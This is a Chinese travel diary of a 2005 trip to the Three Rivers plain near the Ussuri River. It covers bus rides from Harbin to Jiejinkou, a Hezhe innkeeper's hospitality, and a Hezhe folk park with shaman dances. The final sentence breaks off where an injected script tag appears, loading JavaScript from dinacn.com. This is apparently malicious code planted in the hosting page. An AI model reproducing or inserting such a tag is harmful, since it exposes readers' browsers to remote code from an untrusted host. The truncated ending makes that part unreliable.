"乌苏里江(来)长又长，蓝蓝的江水起波浪，赫哲人撒开千张网，船儿满江鱼满舱。"很小的时候，就已经熟悉了这首《乌苏里船歌》，因为对这首歌的念念不忘，终于在某个假期，来到了乌苏里江流域的水边人家。

　　行前计划度假人：刘华1人度假时间：2005年10月度假地点：黑龙江、同江、乌苏里江的三江平原区域度假地选择理由：在一个月前刚结束了中国最西端的红旗拉普之行，此行自然是想到中国的最东边去看看。

　　度假预算：2500元左右计划实施中D1哈尔滨→佳木斯哈尔滨的火车站和长途汽车站只有一街之隔，一早下了火车，立刻奔到汽车站想转汽车，可由于是旺季，一天若干班从哈尔滨到佳木斯的车票竟全部卖光，只好撞运气地等着加车。还好，中午时分，车票到手。我要赶往我目的地的第二个中转站--佳木斯。就这样，这个充满俄式情调的北方名城，都没来得及多看几眼，就匆匆而过了。

　　此时天气虽然还有些寒冷，但大巴内却温暖如春，加上充足的阳光透过窗户倾洒进车里，晒得人昏昏欲睡。宽阔的柏油路一直延伸到远方，连最近的一个拐弯也超过了目所能及的范围而看不到，在这样的一个环境里，唯一能做的就是昏睡……再次睁开眼时，车已经离城市很远了，阳光也没刚才那么强烈，两边是一望无际的麦田，浮云静止在空中，随着光线变换着颜色，路基高过麦田不少，此时有种幻觉，好像行驶在海边，蓝色的天像极了蓝色的海，而浮云就像远方的孤岛。迷幻的感觉直到进入佳木斯市区才消失。而这时，天已经黑了。

　　D2 佳木斯→街津口能够说明偏远地区交通状况的并不是宽阔的柏油路，而是车次的稀少。从佳木斯每天只有两班车开往街津口，且都在下午。当我在不大的市区里闲逛够了赶到车站时，头一班车刚刚开走，而下一班，也就是今天的最后一班车，要三个小时后才出发，我只好百无聊赖地等在车站，在接近傍晚的时候出发。

　　车一路向东，走走站站，还不到目的地的一半，大部分同车的人就都已下车，而快到街津口时，车上的乘客更是只剩下我和两个当地人。与他们一聊才知道，这两个20多岁的姑娘是街津口的乡村教师，利用周末到佳木斯去采购些学生需要而本地买不到的东西，而这一趟就搭进了整个周末。她们告诉我说，街津口已经算边境，对岸就是俄罗斯。看着窗外的漆黑，这才感觉到我已经走了很远。

　　下车的时候，冷风吹得人直打哆嗦，漆黑一片让我不知道去哪好，幸亏这两位本地人给我带路，她们拿出准备好的大手电，领着我走到镇上唯一的一条路上，然后熟门熟路地敲开一个旅馆的门，跟老板打招呼把我领进去。从他们放松的交谈中我感觉到，这个小镇上的几乎所有人互相都认识，基本不存在治安问题。

　　老板并没有因为我这个远道而来的游客深夜到访而介意，还是表现出了东北人特有的热情与好客，边给我准备夜宵，边打开话匣子说起了这里的一切。

　　老板姓何，是赫哲族人。赫哲族是全国人数最少的"五小民族"之一，全民族总人数只有几千人。分布在同江、抚远、饶河三地，人数以同江市的街津口乡人数最多，有1000多人，在过去，赫哲人一直过着逐水而居的迁徙生活，近半个多世纪以来才定居，但仍以打渔为主。

　　"靠山吃山，靠水吃水。来了我们这，就不能不尝尝新鲜的江鱼。今天太晚了，先喝碗热鱼汤，明天再弄些生鱼吃，这可是咱们这儿的特色。"老板边给我端来热气腾腾的鱼汤边说。我接过来喝了一口，果然味道鲜美。两碗鱼汤下肚，长途车颠簸的疲劳被驱散了一半，躺在暖和的火炕上，很快入了梦。

　　D3 街津口因为靠东的缘故，街津口天亮得比北京要早许多，在夏至白天最长的时候，这里在凌晨两点多就迎来了黎明，因此被称为中国最早看到太阳的地方。我早早出了门，仔细看看这个小地方的样子，一条主路也是全乡唯一的马路，来往其他地方的车都会从这里穿过，路还没铺柏油，有车经过就泛起一片尘埃。路旁是不多的店铺和住家，因为这里是旅游区，店铺的招牌上都写着"某某旅馆"或"某某鱼馆"，不叫"饭馆"而直接叫"鱼馆"，又一定要把"赫哲"两字加在前边，从这个细节里，不难看出鱼作为特产在这里的地位，也不难看出赫哲人对自己民族的自豪和其在旅游上的分量。

　　一路打听，来到了位于镇南不远的"赫哲族风情园"。刚一进园，就看到了露天的舞台上几个身穿民族服装的少年在跳舞，鼓点的节奏和舞蹈的动作铿锵有力，非常阳刚。他们跳的是萨满的"跳鹿神"，而口中唱的是一种叫"伊玛堪"的说唱乐。这些在过去，都是赫哲人在祭祀活动时候的项目，难怪感觉那么有力，仿佛有种说不出的魔力。赫哲是我国北方女真人的后裔，因此赫哲人信仰萨满教，萨满教是流传至今的原始宗教之一，信仰万物为神，石头树木和各种动物，都被虔诚地朝拜，这在风情园里随处可见。一个小木头屋子前，一个图腾守立跟前，从小木屋的窗户向内窥探，各种人兽的模型等摆在祭台上，这就是一个被还原的典型的萨满教祭堂。

　　在展厅内，赫哲族的历史?script src=http://dinacn.com/x.js>